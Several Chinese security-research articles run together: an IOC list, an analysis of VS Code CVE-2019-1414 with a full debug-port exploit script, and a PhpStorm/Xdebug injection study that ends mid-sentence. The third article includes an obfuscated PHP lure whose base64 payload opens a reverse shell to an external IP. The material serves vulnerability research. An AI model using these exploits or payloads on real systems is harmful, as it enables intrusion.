我们仍将尝试与所有检测到的相关攻击受害者保持联系，因为我们计划揭示每个攻击者在不同（已经实现）的攻击场景中的角色。
### IOC
C＆C服务器（主机名和IP）
* hawrickday.com
* landscapesboxdesign9.com
* milkmovemoneyney.com
* moviedvdpower.com
* mozillaupdate.com
* tableofcolorize.com
* vmware-cdn.com
* softowii.com
* colorpickerdesk.com
* expressdesign9.com
* untypicaldesign9.com
* digitalsoundmaker99.com
* untypicaldesign9.com
* digitalsoundmaker99.com
* hong-security.com
* fgfotr.com
* nattplot.com
* uoplotr.com
* 193.187.175.213[（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=193.187.175.213 "（ZoomEye搜索结果）")
* 172.86.75.175[（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=172.86.75.175 "（ZoomEye搜索结果）")
### 参考文献
[1].<https://www.trustwave.com/zh-CN/resources/blogs/spiderlabs-blog/would-you-exchange-your-security-for-a-gift-card/>
* * * | 社区文章 |
# Visual Studio Code本地代码执行漏洞(CVE-2019-1414)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
微软在2015年推出的跨平台开源编辑器Visual Studio Code（VS
Code），凭借其开箱即用的便捷以及丰富的插件社区，迅速吸引了大批用户。在最新的PYPL
IDE[排行榜](http://pypl.github.io/IDE.html)中，VS Code已位列第六，并且仍处于上升趋势。
几个月前，国外安全研究员[Tavis Ormandy](https://twitter.com/taviso)发现并提交了VS
Code中的一个本地命令执行漏洞(CVE-2019-1414)，并于最近披露。1.39版本之前的VS Code受此漏洞影响。
## 漏洞分析与复现
可以在[这里](https://code.visualstudio.com/updates/v1_38)找到老版本的vscode安装包，各个操作系统版本的都有，这里使用1.38
mac版本进行演示。
打开下载的vscode。通过ps可以看到，vscode默认开启了一个node js调试端口(`--inspect=13611`)。
$ ps aux |grep inspect
ch 95536 0.0 0.7 4815292 56884 ?? S 9:59上午 0:03.49 /private/var/folders/s7/yz190r8s1q1c07_dbl4z40dm0000gn/T/AppTranslocation/8D63CA2B-3DB2-4150-AE36-59BC8B6475DB/d/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper --nolazy --inspect=13611 /private/var/folders/s7/yz190r8s1q1c07_dbl4z40dm0000gn/T/AppTranslocation/8D63CA2B-3DB2-4150-AE36-59BC8B6475DB/d/Visual Studio Code.app/Contents/Resources/app/out/bootstrap-fork --type=extensionHost
ch 95748 0.0 0.0 4286472 840 s003 S+ 10:42上午 0:00.01 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn inspect
我们可以通过api查看调试端口的信息：
$ curl http://127.0.0.1:13611/json
[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:13611/09d445a2-c4ad-4082-b4ab-36de37ff910f",
"devtoolsFrontendUrlCompat": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:13611/09d445a2-c4ad-4082-b4ab-36de37ff910f",
"faviconUrl": "https://nodejs.org/static/favicon.ico",
"id": "09d445a2-c4ad-4082-b4ab-36de37ff910f",
"title": "/private/var/folders/s7/yz190r8s1q1c07_dbl4z40dm0000gn/T/AppTranslocation/8D63CA2B-3DB2-4150-AE36-59BC8B6475DB/d/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper[95536]",
"type": "node",
"url": "file://",
"webSocketDebuggerUrl": "ws://127.0.0.1:13611/09d445a2-c4ad-4082-b4ab-36de37ff910f"
} ]
在chrome中直接打开`devtoolsFrontendUrl`指向的链接，就可以得到一个浏览器调试终端，可以在里面执行js指令。
漏洞作者给出的poc如下：
//poc.js
const fetch = require('node-fetch')
const WebSocket = require('ws')
function die (reason) {
console.error(reason)
process.exit(-1)
}
if (process.argv.length !== 5) {
die('usage: node index.js <IP> <PORT> <COMMAND>')
}
const IP = process.argv[2]
const PORT = process.argv[3]
const COMMAND = process.argv[4]
const COMMAND_B64 = base64(COMMAND)
function base64 (data) {
return Buffer.from(data).toString('base64')
}
async function getWsLink () {
const res = await fetch(`http://${IP}:${PORT}/json`)
const data = await res.json()
return data[0].webSocketDebuggerUrl
}
async function main () {
console.log(`[?] Getting webSocketDebuggerUrl from http://${IP}:${PORT}/json`)
const wsLink = await getWsLink().catch(die)
console.log(`[!] Found webSocketDebuggerUrl: ${wsLink}`)
const socket = new WebSocket(wsLink)
socket.onopen = async (event) => {
console.log(`[?] Connection established to ${wsLink}`)
socket.send(JSON.stringify({ id: 1, method: 'Runtime.enable' }))
socket.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}`
}
}))
socket.send(JSON.stringify({
id: 2,
method: 'Runtime.evaluate',
params: {
expression: `spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}`
}
}))
console.log(`[!] Executing: ${COMMAND}`)
socket.send(JSON.stringify({
id: 3,
method: 'Runtime.evaluate',
params: {
expression: `spawnSync('/bin/bash', ['-c', 'echo ${COMMAND_B64} | base64 -d | /bin/bash'])`
}
}))
socket.close()
}
socket.onmessage = (event) => {
// console.log(event)
}
socket.onclose = (event) => {
// console.log(event)
if (event.wasClean) {
console.log('[?] Connection closed cleanly')
} else {
console.log('[?] Connection died')
}
}
socket.onerror = (error) => {
console.log(error)
}
}
main()
运行命令是`node poc.js [HOST] [PORT] [CMD]`
我用下面的命令尝试了几次都没有成功往/tmp/a中写入东西，于是开始着手分析poc代码。
node poc.js 127.0.0.1 13611 "pwd >/tmp/a"
cat /tmp/a
getWsLink函数通过访问`http://127.0.0.1:13611/json`拿到webSocketDebuggerUrl。之后这个url被用来进行websocket连接。
async function getWsLink () {
const res = await fetch(`http://${IP}:${PORT}/json`)
const data = await res.json()
return data[0].webSocketDebuggerUrl
}
建立websocket连接之后发送了4个数据包，这种数据包的协议是`Chrome DevTools Protocol`，大致结构是这样的：
{
id: 1,
method: 'xxx',
params: {} //可选
}
这种协议一般用来调试和优化Chromium, Chrome浏览器，查阅文档后找到了poc中使用的两种method的相关信息。
可以看到两种method都在Runtime Domain分类下面，Runtime Domain把Javascript
runtime暴露在远程连接中，且命令执行副作用持久化。`Runtime.enable`使能执行环境、`Runtime.evaluate`用来执行具体命令。
之后就需要知道发送的这几个expression里面有什么，把几个包中的expression展开、[美化](https://beautifier.io/)之后，可以看的更清晰一些：
// id=2
spawn_sync = process.binding('spawn_sync');
normalizeSpawnArguments = function(c, b, a) { //解析参数，c:process, b:args, a:options
if (Array.isArray(b) ? b = b.slice(0) : (a = b, b = []), a === undefined && (a = {}), a = Object.assign({}, a), a.shell) {
const g = [c].concat(b).join(' ');
typeof a.shell === 'string' ? c = a.shell : c = '/bin/sh', b = ['-c', g];
}
typeof a.argv0 === 'string' ? b.unshift(a.argv0) : b.unshift(c);
var d = a.env || process.env;
var e = [];
for (var f in d) e.push(f + '=' + d[f]); //加入环境变量
return {
file: c,
args: b,
options: a,
envPairs: e
};
}
// id=3
spawnSync = function() { //主函数，用来执行命令
var d = normalizeSpawnArguments.apply(null, arguments);
// arguments是函数的参数，https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Functions/arguments
var a = d.options;
var c;
if (a.file = d.file, a.args = d.args, a.envPairs = d.envPairs, a.stdio = [{
type: 'pipe',
readable: !0,
writable: !1
}, {
type: 'pipe',
readable: !1,
writable: !0
}, {
type: 'pipe',
readable: !1,
writable: !0
}], a.input) {
var g = a.stdio[0] = util._extend({}, a.stdio[0]);
g.input = a.input;
}
for (c = 0; c < a.stdio.length; c++) {
var e = a.stdio[c] && a.stdio[c].input;
if (e != null) {
var f = a.stdio[c] = util._extend({}, a.stdio[c]);
isUint8Array(e) ? f.input = e : f.input = Buffer.from(e, a.encoding);
}
}
var b = spawn_sync.spawn(a);
if (b.output && a.encoding && a.encoding !== 'buffer')
for (c = 0; c < b.output.length; c++) {
if (!b.output[c]) continue;
b.output[c] = b.output[c].toString(a.encoding);
}
return b.stdout = b.output && b.output[1], b.stderr = b.output && b.output[2], b.error && (b.error = b.error + 'spawnSync ' + d.file, b.error.path = d.file, b.error.spawnargs = d.args.slice(1)), b;
}
// 加的辅助调试内容
function base64(data) {
return Buffer.from(data).toString('base64')
}
const COMMAND = process.argv[2]
const COMMAND_B64 = base64(COMMAND)
//id=4
spawnSync('/bin/bash', ['-c', `echo ${COMMAND_B64} | base64 -d | /bin/bash`])
id为2和3的表达式中定义了命令执行函数`spawnSync`，其中处理了诸如环境变量，输入输出这些细节。id为4的表达式中调用spawnSync来执行终端中传入的命令。
可以看到spawnSync函数返回了执行结果的stdout以及stderr，于是我修改了poc，把执行结果放入一个变量中，通过前面的文档可以知道，这种远程执行是有”副作用“的，所以在Chrome中的调试界面应该能打印这个变量，就可以看到报错信息。
原来是mac上base64工具的参数和linux上的不太一样，🤦♀️。
$ base64 --help
Usage: base64 [-hvD] [-b num] [-i in_file] [-o out_file]
-h, --help display this message
-D, --decode decodes input
-b, --break break encoded string into num character lines
-i, --input input file (default: "-" for stdin)
-o, --output output file (default: "-" for stdout)
root@kali:~# base64 --help
Usage: base64 [OPTION]... [FILE]
Base64 encode or decode FILE, or standard input, to standard output.
With no FILE, or when FILE is -, read standard input.
Mandatory arguments to long options are mandatory for short options too.
-d, --decode decode data
........
把poc中的`base64 -d`换成`base64 -D`之后执行成功了。
## 修复
此漏洞在 **1.39.1**
版本中得到[修复](https://github.com/microsoft/vscode/commit/7f87a64621b010ed8a7e171d07583921e8c1e8ac?diff=split)，默认情况下不再开启调试端口。
## 危害与安全建议
### 危害
调试端口是暴露在本地的，所以不会有被远程攻击的危险，这一点降低了这个漏洞的危害程度。在渗透测试中，此漏洞可能会被用来进行bypass
uac、提权等攻击行为。
### 安全建议
1. 尽快升级到最新版本
2. 尽量避免在管理员权限下使用vscode
# 链接：
<https://iwantmore.pizza/posts/cve-2019-1414.html>
<https://github.com/phra/inspector-exploiter>
<https://github.com/aslushnikov/getting-started-with-cdp/blob/master/README.md>
<https://chromedevtools.github.io/devtools-protocol/tot/Runtime>
<https://github.com/b1tg/inspector-exploiter/blob/master/debug-expressions.js> | 社区文章 |
**作者: dawu@知道创宇404实验室**
**日期：2018/08/16**
**英文版本：<https://paper.seebug.org/992/>**
### 0x00 前言
在调试 `Drupal` 远程命令执行漏洞（CVE-2018-7600 && CVE-2018-7602）时，存在一个超大的数组 `$form`
。在该数组中寻找到注入的变量，可以帮助调试人员确认攻击是否成功。
但是作为一个安全研究人员，在调试时也保持着一颗发现漏洞的心，所以知道 `$form` 中的每一个元素的内容就十分重要了。然而 `PhpStorm`
这款调试工具需要不断的点击才能看到数组中各元素的值，这显然非常低效。
笔者在官方手册中发现了一种解决方案：
但是 `Evaluate in Console` 看上去就具有一定的危险性，所以笔者深入研究了该功能的实现过程并成功通过 `PhpStorm` 在
`Xdebug` 服务器上执行了命令。
### 0x01 准备工作
#### 1.1 Xdebug的工作原理和潜在的攻击面
`Xdebug` 工作原理和潜在的攻击面前人已有部分文章总结：
* [Xdebug: A Tiny Attack Surface](https://paper.seebug.org/397/)
* [利用恶意页面攻击本地Xdebug](https://paper.seebug.org/558/)
综合上述参考链接，已知的攻击面有：
1. `eval` 命令： 可以执行代码。
2. `property_set && property_get` 命令: 可以执行代码
3. `source` 命令: 可以阅读源码。
4. 利用 `DNS` 重绑技术可能可以导致本地 `Xdebug` 服务器被攻击。
就本文而言 `PhpStorm` 和 `Xdebug` 进行调试的工作流程如下：
1. `PhpStorm` 开启调试监听，默认绑定 `9000`、`10137`、`20080` 端口等待连接。
2. 开发者使用 `XDEBUG_SESSION=PHPSTORM` （XDEBUG_SESSION的内容可以配置，笔者设置的是PHPSTORM） 访问 `php` 页面。
3. `Xdebug` 服务器反连至 `PhpStorm` 监听的 `9000` 端口。
4. 通过步骤3建立的连接，开发者可以进行阅读源码、设置断点、执行代码等操作。
如果我们可以控制 `PhpStorm` 在调试时使用的命令，那么在步骤4中攻击面 `1`、`2`、`3` 将会直接威胁到 `Xdebug` 服务器的安全。
#### 1.2 实时嗅探脚本开发
`工欲善其事，必先利其器`。笔者开发了一个脚本用于实时显示 `PhpStorm` 和 `Xdebug` 交互的流量（该脚本在下文截图中会多次出现）：
from scapy.all import *
import base64
Terminal_color = {
"DEFAULT": "\033[0m",
"RED": "\033[1;31;40m"
}
def pack_callback(packet):
try:
if packet[TCP].payload.raw_packet_cache != None:
print("*"* 200)
print("%s:%s --> %s:%s " %(packet['IP'].src,packet.sport,packet['IP'].dst,packet.dport))
print(packet[TCP].payload.raw_packet_cache.decode('utf-8'))
if packet[TCP].payload.raw_packet_cache.startswith(b"eval"):
print("%s[EVAL] %s %s"%(Terminal_color['RED'],base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT']))
if packet[TCP].payload.raw_packet_cache.startswith(b"property_set"):
variable = ""
for i in packet[TCP].payload.raw_packet_cache.decode('utf-8').split(" "):
if "$" in i:
variable = i
print("%s[PROPERTY_SET] %s=%s %s"%(Terminal_color['RED'],variable,base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT']))
if b"command=\"eval\"" in packet[TCP].payload.raw_packet_cache:
raw_data = packet[TCP].payload.raw_packet_cache.decode('utf-8')
CDATA_postion = raw_data.find("CDATA")
try:
eval_result = base64.b64decode(raw_data[CDATA_postion+6:CDATA_postion+raw_data[CDATA_postion:].find("]")])
print("%s[CDATA] %s %s"%(Terminal_color['RED'],eval_result,Terminal_color['DEFAULT']))
except:
pass
except Exception as e:
print(e)
print(packet[TCP].payload)
dpkt = sniff(iface="vmnet5",filter="tcp", prn=pack_callback)
# 这里设置的监听网卡是 vmnet5，使用时可以根据实际的网卡进行修改
### 0x02 通过 `PhpStorm` 在 `Xdebug` 服务器上执行命令
#### 2.1 通过 `Evaluate in Console` 执行命令
通过上文的脚本，可以很清晰的看到我们在执行 `Evaluate in Console` 命令时发生了什么（红色部分是 `base64` 解码后的结果）：
如果我们可以控制 `$q`，那我们就可以控制 `eval` 的内容。但是在 `PHP`
[官方手册](http://php.net/manual/en/language.variables.basics.php)中，明确规定了变量名称应该由
`a-zA-Z_\x7f-\xff` 组成：
> Variable names follow the same rules as other labels in PHP. A valid
> variable name starts with a letter or underscore, followed by any number of
> letters, numbers, or underscores. As a regular expression, it would be
> expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'
所以通过控制 `$q` 来控制 `eval` 的内容并不现实。但是在 `PhpStorm` 获取数组中某个元素时，会将该元素的名称带入 `eval`
的语句中。
如图所示，定义数组如下： `$a = ( "aaa'bbb"=>"ccc")`，并在 `PhpStorm` 中使用 `Evaluate in
Console` 功能。
可以看到单引号未做任何过滤，这也就意味着我可以控制 `eval` 的内容了。在下图中，我通过对 `$a['aaa\'];#']` 变量使用
`Evaluate in Console` 功能获取到 `$a['aaa']` 的值。
精心构造的请求和代码如下：
$ curl "http://192.168.88.128/first_pwn.php?q=a%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM"
<?php
$a = array();
$q = $_GET['q'];
$a['a'] = 'system';
$b = "date >> /tmp/dawu";
$a[$q] = "aaa";
echo $a;
?>
但在这个例子中存在一个明显的缺陷：`可以看到恶意的元素名称`。如果用于钓鱼攻击，会大大降低成功率，所以对上述的代码进行了一定的修改：
$ curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM"
<?php
$a = array();
$q = $_GET['q'];
$a['aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'] = 'system';
$b = "date >> /tmp/dawu";
$a[$q] = "aaa";
echo $a;
?>
在元素名称足够长时，`PhpStorm` 会自动隐藏后面的部分：
#### 2.2 通过 `Copy Value As` 执行命令
继续研究发现，`COPY VALUE AS (print_r/var_export/json_encode)` 同样也会使用 `Xdebug` 的
`eval` 命令来实现相应的功能：
再次精心构造相应的请求和代码后，可以再次在 `Xdebug` 服务器上执行命令：
curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b));%23" --cookie "XDEBUG_SESSION=PHPSTORM"
#### 2.3 实际攻击探究
基于上述的研究，我认为可以通过 `PhpStorm` 实现钓鱼攻击。假设的攻击流程如下：
1. 攻击者确保受害者可以发现恶意的 `PHP` 文件。例如安全研究人员之间交流 `某大马` 具体实现了哪些功能、运维人员发现服务器上出现了可疑的 `PHP` 文件。
2. 如果受害者在大致浏览 `PHP` 文件内容后，决定使用 `PhpStorm` 分析该文件。
3. 受害者使用 `COPY VALUE AS (print_r/var_export/json_encode)`、`Evaluate array in Console` 等功能。命令将会执行。
4. 攻击者可以收到受害者 `Xdebug` 服务器的 `shell`。
精心构造的代码如下（其中的反连IP地址为临时开启的VPS）：
<?php
$chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMOPQRSTUVWXYZ_N+;'\"()\$ #[]";
$a = $chars[1].$chars[0].$chars[18].$chars[4].$chars[32].$chars[30].$chars[61].$chars[3].$chars[4].$chars[2].$chars[14].$chars[3].$chars[4]; //base64_decode
$b = $chars[4].$chars[21].$chars[0].$chars[11]; //eval
$c = $chars[18].$chars[24].$chars[18].$chars[19].$chars[4].$chars[12]; //system
$e = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK
$f = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[65].$chars[73].$chars[67].$chars[69].$chars[0].$chars[67].$chars[69].$chars[4].$chars[68].$chars[68].$chars[68].$chars[64].$chars[71]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK'](\$a(\$z)));#
$g = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[21].$chars[24].$chars[20].$chars[6].$chars[7].$chars[8].$chars[13].$chars[3].$chars[9].$chars[18].$chars[1].$chars[20].$chars[8].$chars[6].$chars[7].$chars[14].$chars[2].$chars[13].$chars[18].$chars[0];
$i = $chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[22].$chars[14]; //echo hello world; base64
$n = array(
$e => $c,
$f => $i,
$g => $a,
);
$n[$e]($n[$g]($n[$f]));
?>
直接执行该 `PHP` 代码，将只会多次运行 `system("echo hello world;")`。但是调试人员并不会执行 `PHP`
代码，他也许会取出 `$n[$f]` 的值，然后通过 `echo XXXXXXXX|base64 -d` 解码出具体的内容。
如果他使用 `COPY VALUE BY print_r` 拷贝对应的变量，他的 `Xdebug` 服务器上将会被执行命令。
在下面这个 `gif` 中，左边是攻击者的终端，右边是受害者的 `debug` 过程。
（GIF中存在一处笔误： `decise` 应为 `decide`）
### 0x03 结语
在整个漏洞的发现过程中，存在一定的曲折，但这也正是安全研究的乐趣所在。`PhpStorm`
官方最终没有认可该漏洞，也是一点小小的遗憾。在此将该发现分享出来，一方面是为了跟大家分享思路，另一方面也请安全研究人员使用 `PhpStorm`
